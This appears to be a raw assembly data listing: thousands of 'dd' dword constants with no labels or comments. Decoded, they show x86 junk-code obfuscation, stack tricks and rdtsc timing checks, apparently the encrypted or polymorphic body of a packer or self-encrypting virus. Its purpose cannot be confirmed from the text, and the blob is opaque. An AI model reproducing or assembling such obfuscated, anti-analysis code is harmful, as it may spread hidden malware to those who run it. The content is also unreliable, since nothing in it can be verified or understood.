		dd 0F63B4B8h, 61FA8B5Fh, 0B3F1BD83h, 0F0005EBh,	1D84h
		dd 0A19D0B00h, 0E905E81Ah, 0Bh,	4793E45Fh, 0B6C70962h
		dd 0E9248029h, 1Dh, 3050F6B7h, 4400110Ch, 0E8C10111h, 11443010h
		dd 114C0002h, 0E9835803h, 0EBE77504h, 4305036h,	11640011h
		dd 10E8C101h, 2114430h,	3116400h, 4E98358h, 1BEBE775h
		dd 10E8C150h, 3116428h,	2114430h, 11642858h, 11043001h
		dd 7504E983h, 8B00EBE7h, 57006AC0h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1D04h, 0C3574700h, 0AD77CFABh, 0F4D40022h
		dd 0F780B31Ch, 0EDB531E6h, 8305E809h, 0E80A61BDh, 850F0305h
		dd 392h, 0B3F1BD83h, 0F0005EBh,	38584h,	57006A00h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1D04h, 0C3574700h
		dd 0A92332CCh, 0BBCA21C4h, 0E3809C3Ch, 459D8904h, 0FF05E82Ch
		dd 0EBB3F1B5h, 12EB8005h, 1C0995FFh, 6A05E8h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1C0424h, 52420000h, 628B55C3h
		dd 5AC534E5h, 0DE9FD12h, 0D5000000h, 8914963Ch,	9EFE0E23h
		dd 0B7F3016Bh, 0B3E5B58Bh, 5B5605EBh, 106C7h, 6A0001h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 150424h, 50400000h
		dd 23F6E2C3h, 0E81589BDh, 66609605h, 0CE8BD98Bh, 8E95061h
		dd 0E8000000h, 71AA30D6h, 963EAF77h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Ah, 0F5C35646h,	0A4E64D16h, 0B5FFCC11h
		dd 5EBB3F1h, 6860Fh, 9D8B0000h,	5E81711h, 8BD95FFh
		dd 6A05E8h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h
		dd 52420000h, 0E1CC1C3h, 8166B801h, 8B30D0F3h, 0EBB3E5B5h
		dd 850F6005h, 6, 140DBD89h, 9D8B05E8h, 5E810DDh, 0B9858B61h
		dd 6A05E814h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1C042444h, 42000000h, 0F44AC352h, 30E4EFAh, 8B217E99h
		dd 0E832199Dh, 0C4868905h, 60000000h, 5ED1B966h, 9D958B61h
		dd 6A05E815h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1D042444h, 45000000h, 0CCB3C355h, 0FFA63F3Ch, 0F8407E56h
		dd 3860Fh, 8B660000h, 4C283F8h,	13E9h, 4DD24400h, 4E2CE3EAh
		dd 98460BE8h, 0B89FAB55h, 5B739390h, 8B205089h,	0E807C1BDh
		dd 5D858D05h, 8905EBC6h, 0E81A8995h, 0B8868905h, 89000000h
		dd 0E81A258Dh, 29006A05h, 0E8204D9Dh, 0F1B5FF05h, 8B05EBB3h
		dd 0B58589D8h, 0FF05E824h, 0E82C2D95h, 840F05h,	66000000h
		dd 5050FB8Bh, 7701BB66h, 2434895Bh, 0E851006Ah,	3, 59C35920h
		dd 4244C89h, 4244481h, 1Bh, 0B2C35141h,	0BBECAC68h, 2361148Eh
		dd 0E810259Dh, 13E905h,	0DB7B0000h, 4FC81E3Bh, 97AD6AFCh
		dd 2DB35EAFh, 0E1931E14h, 0F1B5FF32h, 8B05EBB3h, 0E8205D9Dh
		dd 0C195FF05h, 2905E802h, 0E81B51B5h, 5DBD8305h, 5E802h
		dd 3B840Fh, 8C0F0000h, 4, 0C5A7BF66h, 8D0F6050h, 4, 1B32B866h
		dd 10E9h, 92C12E00h, 0C58E9AA1h, 25CE921Ch, 0D7D8409Eh
		dd 348961D9h, 0C1BD8B24h, 8B05E80Fh, 0E81B0D9Dh, 0F1B5FF05h
		dd 0F05EBB3h, 95FFDAB7h, 5E80759h, 12E9h, 0FC786C00h, 184D88FDh
		dd 0DB88AB50h, 0F35C0CF6h, 0FF2BBDA0h, 0EBB3F1B5h, 56006A05h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1D04h, 0C3564600h
		dd 2F972DBCh, 92DB2461h, 0BD8B14E3h, 5E8092Dh, 72595FFh
		dd 0E78005E8h, 0A9BD83DBh, 205E829h, 59840Fh, 8BF90000h
		dd 0E8133D85h, 50006A05h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1B04h, 0C3504000h, 0B2AD8715h, 6CE3528h
		dd 5B5BD8Bh, 0C6F505E8h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 170424h, 55450000h, 172320C3h, 0D3DF8184h
		dd 0C729A07Eh, 0E812C185h, 5, 8444BB00h, 99E93452h, 80FFFFF3h
		dd 0C18B37C7h, 1BB5BD89h, 858D05E8h, 5E81C1Dh, 52505090h
		dd 310FF98Bh, 1747BF66h, 5190585Ah, 2E2D9D8Bh, 6A5F05E8h
		dd 71BD8B00h, 6A05E820h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1504h, 0C3564600h, 858D0A50h, 5EC8CB7h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 18h, 92C35242h, 6AC96550h
		dd 6A05C083h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 18042444h, 45000000h, 66F8C355h, 608DFD4Bh, 3D05BB66h
		dd 61C68B66h, 24048950h, 30E99D0Bh, 0C9B705E8h,	6A006Ah
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 190424h, 50400000h
		dd 928BA5C3h, 6A69A1B3h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1704h, 0C3564600h, 598EE6F7h, 203D95FFh
		dd 8DF805E8h, 0EBA4DB8Dh, 0F9853105h, 0FF05E81Eh, 199D23D1h
		dd 8305E821h, 0E810B9BDh, 850F0105h, 9Ch, 0E853006Ah, 3
		dd 5BC35B20h, 4245C89h,	4244481h, 14h, 0C1C35343h, 2839BD03h
		dd 26A05E8h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 14h,	0D6C35242h, 8C5ADF81h, 95891B79h, 5E808F1h, 52505090h
		dd 5800Fh, 0F6BB0000h, 0F34BBD0h, 8E0F31h, 5A000000h, 0BD8B9058h
		dd 5E805BDh, 2C2D95FFh,	6A05E8h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1C0424h, 56460000h, 0ED83C3C3h, 6B9C0B6Eh
		dd 9D33F47Fh, 5E80631h,	0DAEE9h, 0E800h, 815D0000h, 0EC8CC1EDh
		dd 75BD8B05h, 6A05E82Bh, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 15042444h, 45000000h, 5027C355h, 8DFAB70Fh
		dd 0EB8F5885h, 50006A05h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1B04h, 0C3504000h, 705306CDh, 74930328h
		dd 3E3EE8BBh, 66509001h, 909032BFh, 0E853006Ah,	3, 5BC35B20h
		dd 4245C89h, 4244481h, 14h, 24C35343h, 6477EF80h, 35FFh
		dd 5F530000h, 6C38166h,	258964AAh, 0
		dd 4585FFFCh, 8B05E825h, 0E8170D9Dh, 11810F05h,	0E8000000h
		dd 8, 13389AC3h, 0FE193505h, 5BD8B70Fh,	0EB81FF6Ah, 65FB8B9Ah
		dd 1AA5B5FFh, 6A05E8h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 160424h, 57470000h, 43945EC3h, 91D9529h, 95FF05E8h
		dd 5E82FADh, 0FFE9h, 6600B000h,	70E6F98Bh, 5BDBD89h, 665705E8h
		dd 5F5597BFh, 0BF6671E4h, 613C75EBh, 0DE830Fh, 6E80000h
		dd 0DC000000h, 682BCE00h, 371BFAFh, 0F5B11EDh, 8589C8B6h
		dd 5E82C45h, 6BAh, 6E800h, 3FD60000h, 30C95BD0h, 3C18B5Bh
		dd 0E8302D9Dh, 4E8C105h, 0BFE2F766h, 1993255Dh,	151C82Bh
		dd 0E802F1BDh, 0D18B5F05h, 31B50160h, 105E80Eh,	0E81305BDh
		dd 6E96105h, 33000000h,	0E822C5BDh, 19858B05h, 8B05E806h
		dd 0E81F359Dh, 7C08305h, 23A99589h, 0C08305E8h,	0D03BF500h
		dd 0B830Fh, 55E90000h, 81000000h, 59BAC1E7h, 818D8B2Fh
		dd 6005E832h, 48CB8166h, 0DB8166C7h, 0E961A742h, 10h, 0A0EF4A5Bh
		dd 0C25CED99h, 9884D35Bh, 0A0B4D133h, 0F01E183h, 1F84h
		dd 0DEB70F00h, 3281A583h, 66FE05E8h, 77E2EB81h,	6199589h
		dd 28BB05E8h, 0E97AB70Ah, 0
		dd 0E4BB58Dh, 6A05ECh, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 150424h, 50400000h, 668DEFC3h, 91DFEB81h, 9D0B006Ah
		dd 5E813C9h, 20F995FFh,	6A05E8h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 160424h, 57470000h, 910005C3h, 6EB9DF8Bh
		dd 1000007h, 0E82FB9BDh, 0B58B6005h, 5E81A99h, 0E18361F8h
		dd 51006AFCh, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1704h
		dd 0C3514100h, 186BE7E0h, 56006AFCh, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1B04h,	0C3564600h, 1A962ADCh
		dd 811611AEh, 0B8h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1704h, 0C3574700h, 0C2D53E0Dh, 0F8D8589h
		dd 0BA05E8h, 81000000h,	56411FC7h, 0D3C38138h, 0AD253962h
		dd 0E8D1C233h, 0E983D003h, 89F47504h, 0E80669BDh, 52006A05h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1704h, 0C3524200h
		dd 62A959EFh, 880Dh, 8840F00h, 0F000000h, 28Bh,	8BFA8A00h
		dd 0E8159D95h, 52006A05h, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1904h, 0C3524200h, 0FA70950Fh, 0B70F93D2h
		dd 58D8BFEh, 6605E807h,	50285CBBh, 188BC28Bh, 188BC103h
		dd 0E8D1C18Bh, 188BC203h, 50006A58h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1C04h,	0C3504000h, 0C8C08C10h
		dd 882C8571h, 59858902h, 8305E824h, 0E82E71BDh,	840F0005h
		dd 36h,	0B8DE8B66h, 0
		dd 8D8DFA8Bh, 5E84D6Ah,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 15h, 60C35545h, 0F88B668Eh, 0BB66E1FFh, 0BD8376AAh
		dd 5E80A61h, 0A3840F00h, 66000004h, 83C6F8BFh, 0E80A61BDh
		dd 840F0105h, 4ADh, 0E856006Ah,	3, 5EC35E20h, 4247489h
		dd 4244481h, 17h, 5FC35646h, 660851C1h,	0F8BEF81h, 5BF98B50h
		dd 83DE8B66h, 0E80A61BDh, 860F0305h, 43Fh, 0EA1ADF81h
		dd 6A60279Eh, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 15042444h, 40000000h, 0B11FC350h, 0F3808AB7h, 0D98C66EAh
		dd 80BBCB80h, 57BF04E1h, 0A490105h, 65840FC9h, 0BF000001h
		dd 62172741h, 2B1858Bh,	6A05E8h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 190424h, 51410000h, 5B8A8EC3h, 23B1F39Bh
		dd 0E82185BDh, 0CD853305h, 8905E81Bh, 0E82DF59Dh, 0BB669005h
		dd 5050E8DEh, 0B8666052h, 52502D78h, 585A310Fh,	60310F61h
		dd 0BF6921BBh, 61F78A05h, 6A90585Ah, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 18042444h, 47000000h, 9264C357h
		dd 6A85F146h, 68FCB700h, 7C94C6F1h, 0BB665250h,	310FEABCh
		dd 3481585Ah, 8BC50E24h, 57006A7Ch, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1804h, 0C3574700h, 8569ED94h, 0F1BD8994h
		dd 5005E823h, 0FF5FFE8Bh, 0E8151995h, 57006A05h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1804h, 0C3574700h
		dd 0FA6AD361h, 12E9E4h,	3E550000h, 77007BEDh, 0C76E91F4h
		dd 0A677A285h, 6F23F8A7h, 0B3F18589h, 6A05EBh, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h
		dd 0C9C722C3h, 860F55E4h, 0Ah, 81D18B60h, 0E4EFDCF6h, 0EFE96104h
		dd 6A000001h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1B042444h, 46000000h, 74E2C356h, 0A5B9AC83h,	85891031h
		dd 5E824CDh, 0B3E9858Bh, 0D6BB05EBh, 0C742E178h, 1800h
		dd 0D88B6600h, 0B3EDB58Bh, 6A05EBh, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 0D8A3C5C3h
		dd 73A36620h, 8BB68AEBh, 0E8334185h, 50006A05h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1A04h,	0C3504000h, 0CA4149BDh
		dd 895BDB5Bh, 0F88B6606h, 2B1858Bh, 6A05E8h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 160424h, 56460000h, 0C00873C3h
		dd 89DEB70Fh, 0DB800446h, 6E996A3h, 93000000h, 6BF77622h
		dd 899650C8h, 0E810A59Dh, 0E9B5FF05h, 6A05EBB3h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 18042444h, 46000000h
		dd 0BEC5C356h, 0FFD6AACh, 582h,	0C7816600h, 0FA8BBEDDh
		dd 4E8h, 1F03FF00h, 14E900h, 72990000h,	47C36ED5h, 0E2C11ED2h
		dd 0F3E0B1C2h, 1D96A7E4h, 0E8501AB3h, 11h, 22AEEDC3h, 0C1618283h
		dd 6C661343h, 857680CBh, 53BF66EBh, 448B5F71h, 52500424h
		dd 0DE8h, 7FA7B300h, 0BDE01BD0h, 0FB1E6CEBh, 0FE990C9h
		dd 85000000h, 86A4DD87h, 8E44FACAh, 98E090CFh, 0F5B24DFh
		dd 5AFDB731h, 66008B58h, 896824BBh, 50042444h, 6830F52h
		dd 50000000h, 5A310F52h, 5A310F58h, 6E95858h, 12000000h
		dd 1D6C4072h, 0F1858DC1h, 5605EBB3h, 5FD98B66h,	0B0B56090h
		dd 5061C18Bh, 6A90BCB3h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 19042444h, 43000000h, 33FAC353h, 0E2ACF63Bh
		dd 13E1BD33h, 95FF05E8h, 5E81519h, 5E9h, 0A63B0300h, 6A6148E3h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 15042444h
		dd 40000000h, 0B79DC350h, 13E98589h, 85C705E8h,	5E80A61h
		dd 3, 0E852006Ah, 3, 5AC35A20h,	4245489h, 4244481h, 19h
		dd 24C35242h, 0E6CCBD33h, 219D0385h, 8305E815h,	0EBB3F1BDh
		dd 840F0005h, 73h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Bh, 16C35545h, 59D852DFh,	174119Ch, 0E829358Dh
		dd 0DBD0105h, 0E905E82Eh, 5Ah, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Ch, 0B8C35141h,	2C7A4B55h, 2A5EB497h
		dd 0FE8h, 3571D800h, 795140EDh,	97E0B5F8h, 6220F408h, 2C959D8Bh
		dd 505F05E8h, 110C30h, 0C1011144h, 443010E8h, 4C000211h
		dd 83580311h, 0E77504E9h, 305036EBh, 64001104h,	0E8C10111h
		dd 11443010h, 11640002h, 0E9835803h, 0EBE77504h, 0E8C1501Bh
		dd 11642810h, 11443003h, 64285802h, 4300111h, 4E98311h
		dd 0EBE775h, 6AC08Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1C0424h, 56460000h, 93804EC3h, 57B7B163h, 0BD2B7EF0h
		dd 5E8257Dh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 15h,	4FC35545h, 10E869h, 18C70000h, 0D61F80EAh, 46B24BADh
		dd 0DFCA891h, 0BF60524Bh, 674AA985h, 0BD835F61h, 5E80A61h
		dd 49850F03h, 29000004h, 0E8101D9Dh, 0F1BD8305h, 5EBB3h
		dd 436840Fh, 8D0F0000h,	14h, 0FE9h, 72215C00h, 6E588A4Dh
		dd 0F8523FC8h, 0F7460024h, 0B3F1B5FFh, 0FFF505EBh, 0E81C0995h
		dd 53006A05h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1D04h
		dd 0C3534300h, 0E24B7DDBh, 0B9AC8374h, 0F98B31A5h, 0B3E5B58Bh
		dd 6A05EBh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h
		dd 56460000h, 772B0BC3h, 65C2CEB9h, 0C754B8A3h,	1000106h
		dd 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1404h
		dd 0C3514100h, 519D8B84h, 5005E831h, 60575250h,	310F5B61h
		dd 8FCD15BBh, 89585A0Dh, 8BF92434h, 0F1B5FFD8h,	0FF05EBB3h
		dd 0E808BD95h, 53006A05h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1504h, 0C3534300h, 8BFC0154h, 0EBB3E5B5h
		dd 55006A05h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1A04h
		dd 0C3554500h, 11540D27h, 89D63E1Ch, 0E80F4D9Dh, 51BD2905h
		dd 8B05E811h, 0E814B985h, 8689F805h, 0C4h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Ah, 0C7C35040h, 9A57912Fh
		dd 95293264h, 5E82841h,	159D958Bh, 858905E8h, 5E80651h
		dd 6A04C283h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1D042444h, 42000000h, 3D30C352h, 65D6C7E9h, 23220E7Fh
		dd 10E9h, 0F692B400h, 59909EB5h, 4B879324h, 56C18A4Ch
		dd 20508998h, 0E853006Ah, 3, 5BC35B20h,	4245C89h, 4244481h
		dd 1Dh,	90C35343h, 23D44D6Ch, 9F1B7DABh, 199D03E8h, 8D05E820h
		dd 0EBC65D85h, 52006A05h, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1D04h, 0C3524200h, 0A8A69ED3h, 74C3153Bh
		dd 89F92862h, 0B886h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1A04h, 0C3554500h, 564D06CFh, 6A6058BCh
		dd 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1804h
		dd 0C3514100h, 8DFA4DE2h, 59BD8B9Ah, 0FF05E806h, 0EBB3F1B5h
		dd 52006A05h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1904h
		dd 0C3524200h, 16C959CFh, 95FF6AE9h
		dd 5E82C2Dh, 2841BD8Bh,	565005E8h, 34A4BB66h, 2434895Bh
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 14h, 2BC35646h
		dd 0B509B8B3h, 5E80749h, 0B3F1B5FFh, 858905EBh,	5E804E1h
		dd 2C195FFh, 8D3105E8h,	5E81389h, 25DBD83h, 0F0005E8h
		dd 4384h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1704h, 0C3504000h, 929EE75Dh, 8B525050h, 0E9310FF8h
		dd 12h,	4D3A13B7h, 0CE7C5442h, 0EA88A4EFh, 0C087C210h
		dd 585AF93Dh, 0FC243489h, 0B3F1B5FFh, 6A05EBh, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h
		dd 0F850EFC3h, 0BF6619D2h, 0BF0F5E34h, 5995FFDAh, 6A05E807h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 14042444h
		dd 41000000h, 0FDFC351h, 488h, 14BB6600h, 0ACBF66A2h, 0F1B5FFA8h
		dd 8A05EBB3h, 2595FFF8h, 8B05E807h, 0E82ADD9Dh,	0A9BD8305h
		dd 205E829h, 7D840Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 190424h, 55450000h, 2969F9C3h, 0BF755381h
		dd 6B97CADCh, 133D858Bh, 6A05E8h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1C0424h, 55450000h, 0C10AF5C3h, 3D4F6FD6h
		dd 0B529053Eh, 5E808DDh, 6A0000C6h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1C042444h, 42000000h, 844FC352h
		dd 83DD7464h, 0C78354E7h, 0E812C185h, 5, 55006A00h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1404h, 0C3554500h
		dd 0FA8B66EFh, 68C0Fh, 8D090000h, 5E82E15h, 0FFF33BE9h
		dd 0CF8166FFh, 0C18B3C5Ah, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Bh, 17C35040h, 0D7327812h, 8DE9F353h, 0E81C1D85h
		dd 0D98AF905h, 53525050h, 5BFE8B66h, 51BF310Fh,	5A36F1B5h
		dd 24048958h, 0AE9h, 0BFDA2300h, 68685E42h, 8B68EFC2h
		dd 0E832059Dh, 6A006A05h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1D042444h, 41000000h, 0D88EC351h,	6CBC6AA5h
		dd 5CD0AAD9h, 0C418CF81h, 6A515Ch, 13E960h, 56E00000h
		dd 0F41DB1A9h, 5B7B5E67h, 99A0EF4Ah, 5BC25CEDh,	0E98D89D3h
		dd 6105E810h, 9C7E858Dh, 6A05ECh, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 170424h, 56460000h, 0EDC6C9C3h, 358D8993h
		dd 8305E820h, 0AE805C0h, 2000000h, 0C4D1E365h, 0D3697389h
		dd 505FF552h, 997DBB66h, 0E9240489h, 5,	0B7FFCD0Eh, 6A0EB345h
		dd 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1704h
		dd 0C3504000h, 9B5B8A8Eh, 10C58D31h, 0F38105E8h, 7FD861CEh
		dd 6A006Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h
		dd 51410000h, 898A24C3h, 0D2440E89h, 1591BD29h,	95FF05E8h
		dd 5E8203Dh, 7E9h, 0D4ED4100h, 0AB009F03h, 0A4DB8D8Dh
		dd 6A05EBh, 3E850h, 58200000h, 448958C3h, 44810424h, 170424h
		dd 50400000h, 928047C3h, 2595892Ah, 0FF05E82Eh,	0D88B66D1h
		dd 10B9BD83h, 0F0105E8h, 9A85h,	13E900h, 0C3360000h, 19FFCFh
		dd 6865F965h, 3EE8EB19h, 66915C0Ah, 6A026A02h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1D042444h, 42000000h
		dd 5456C352h, 941A54A0h, 0E5921D6Fh, 0D38EEB81h, 89504FDCh
		dd 6A2404h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h
		dd 51410000h, 0E7FC7AC3h, 7DDF8107h, 0BB20F0E2h, 614603D3h
		dd 2C2D95FFh, 6A05E8h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 160424h, 56460000h, 6F9157C3h, 0E9DAB70Fh, 0D9Ch, 0E8h
		dd 0ED815D00h, 5EC9C88h, 7E8h, 0F2767700h, 0BA5B0BEBh
		dd 0D4E3D5BBh, 858D5F6Bh, 5EB8F58h, 0E857006Ah,	3, 5FC35F20h
		dd 4247C89h, 4244481h, 14h, 0F8C35747h,	0AE850h, 7CC80000h
		dd 0BC08EFE2h, 0E74DD18Ah, 2404895Bh, 0C299589h, 0FF6405E8h
		dd 35h,	6BEF8100h, 640E1D86h, 2589h, 860F0000h,	6, 3159D8Bh
		dd 85FF05E8h, 5E82545h,	0BFA141BBh, 0FFFF6A1Fh,	0E815BDB5h
		dd 57006A05h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1704h
		dd 0C3574700h, 1D9400E2h, 30F19531h, 95FF05E8h,	5E82FADh
		dd 112E9h, 91BD8B00h, 0F05E824h, 685h, 35BD8B00h, 0B005E833h
		dd 0F5BD8B00h, 8905E831h, 0E829AD85h, 370E605h,	0E813A59Dh
		dd 6671E405h, 0F2C7F781h, 830F613Ch, 0DBh, 223DBD8Bh, 0B60F05E8h
		dd 88A0FC8h, 51000000h,	0A408C381h, 8A5B7112h, 6BADEh
		dd 0BD090000h, 5E829A1h, 8B66C18Bh, 958589FAh, 0C105E809h
		dd 0EE904E8h, 1C000000h, 36BC3496h, 84952B71h, 1C4CE56Ah
		dd 67F381ABh, 664B425Ah, 8166E2F7h, 2BBAA3D3h, 74CF81C8h
		dd 8B1AB7F4h, 999D09D1h, 0F805E811h, 0BE9h, 5810F00h, 0BB000000h
		dd 3C1524F0h, 2F91858Bh, 8B5305E8h, 0E81085BDh,	0C0835B05h
		dd 0C08307h, 11319D8Bh,	0D03B05E8h, 11830Fh, 8B0F0000h
		dd 3, 0E9DE8B66h, 37h, 8BE9DF80h, 0E81A958Dh, 83F1B705h
		dd 840F01E1h, 23h, 2EB18D29h, 0A58305E8h, 5E81A95h, 0F38166FEh
		dd 95890B87h, 5E82F91h,	2489BD8Bh, 0E905E8h, 8D000000h
		dd 0EC1742B5h, 89FC6005h, 0E829F9B5h, 6A6105h, 0F60F960h
		dd 0B1BFDEBFh, 611F8A9Fh, 0FB8B6661h, 20F995FFh, 6A05E8h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h
		dd 7DA318C3h, 64CB8166h, 792B95Bh, 6A0000h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1C0424h, 52420000h, 93BCBFC3h
		dd 9B6E3DFFh, 0C380A084h, 91850193h, 8305E820h,	6AFCE1h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 160424h, 50400000h
		dd 0CA78FAC3h, 1B69BD33h, 6AFC05E8h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1A042444h, 43000000h, 0B5E8C353h
		dd 2BD531D0h, 0B849h, 6A0000h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1C0424h, 50400000h, 0ECC0D0C3h, 0AD69056Fh
		dd 9D8943D4h, 5E81561h,	6AD22Bh, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1C0424h, 52420000h, 64393CC3h, 10E098CBh
		dd 0C9BB3BB8h, 0AD7B6C45h, 0E8D1C233h, 0E983D003h, 29F47504h
		dd 0E814598Dh, 53006A05h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1404h, 0C3534300h, 0F99D898Fh, 8905E812h
		dd 0E814BDBDh, 880D05h,	6A0000h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 160424h, 51410000h, 5B7932C3h, 13E9h, 0BAD14100h
		dd 0C62632A1h, 0AB1533FCh, 0FDA791DFh, 0CF8BA071h, 159D958Bh
		dd 6A05E8h, 3E850h, 58200000h, 448958C3h, 44810424h, 180424h
		dd 50400000h, 0E698A1C3h, 8B661CD9h, 58D8BDEh, 6A05E807h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 16042444h
		dd 47000000h, 0D132C357h, 50D88B85h, 188BC28Bh,	188BC103h
		dd 0E8D1C18Bh, 188BC203h, 0EE958h, 732F0000h, 0B140837h
		dd 340A06B2h, 0F88F75F0h, 8311F780h, 0E82E71BDh, 840F0005h
		dd 0ABh
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 14h, 8EC35242h
		dd 0B8FB8B66h, 0
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 0B2C35343h
		dd 8B123514h, 6A8D8DFEh, 6A05E84Dh, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 0C325C355h
		dd 0FEC97144h, 0CF3280A7h, 6AE1FFh, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1D0424h, 52420000h, 98DBFAC3h
		dd 0C7181AD0h, 6631971Fh, 520C56BFh, 259D8B60h,	8B05E829h
		dd 0E81AF595h, 835F6105h, 0E80A61BDh, 840F0005h, 470h
		dd 0D1958B60h, 8905E82Ch, 0E82ABD8Dh, 0BD836105h, 5E80A61h
		dd 70840F01h, 6A000004h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1C042444h, 45000000h, 0BCABC355h,	0BF1DEA5Fh
		dd 8341B6AFh, 0E80A61BDh, 860F0305h, 409h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 15h, 2BC35141h, 6E981h
		dd 49870000h, 414CB8EBh, 52006A60h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1404h, 0C3524200h, 0DE94Eh, 90F40000h, 0A4A2CDFh
		dd 5A78EAA0h, 89432BD7h, 0E81F518Dh, 0D98C6605h, 7987BF66h
		dd 6604E180h, 3C07EF81h, 840FC90Ah, 11Ah, 0E852006Ah, 3
		dd 5AC35A20h, 4245489h,	4244481h, 18h, 0DC35242h, 605A03A1h
		dd 8BDEBF0Fh, 0E802B185h, 56006A05h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1704h,	0C3564600h, 0CA6770D8h
		dd 0BE59D89h, 853305E8h, 5E81BCDh, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 18h, 95C35747h, 820BC4EBh, 7F4FBF66h
		dd 504FB790h, 6A90FB8Bh, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1C042444h, 43000000h, 3DD2C353h, 56AAAF43h
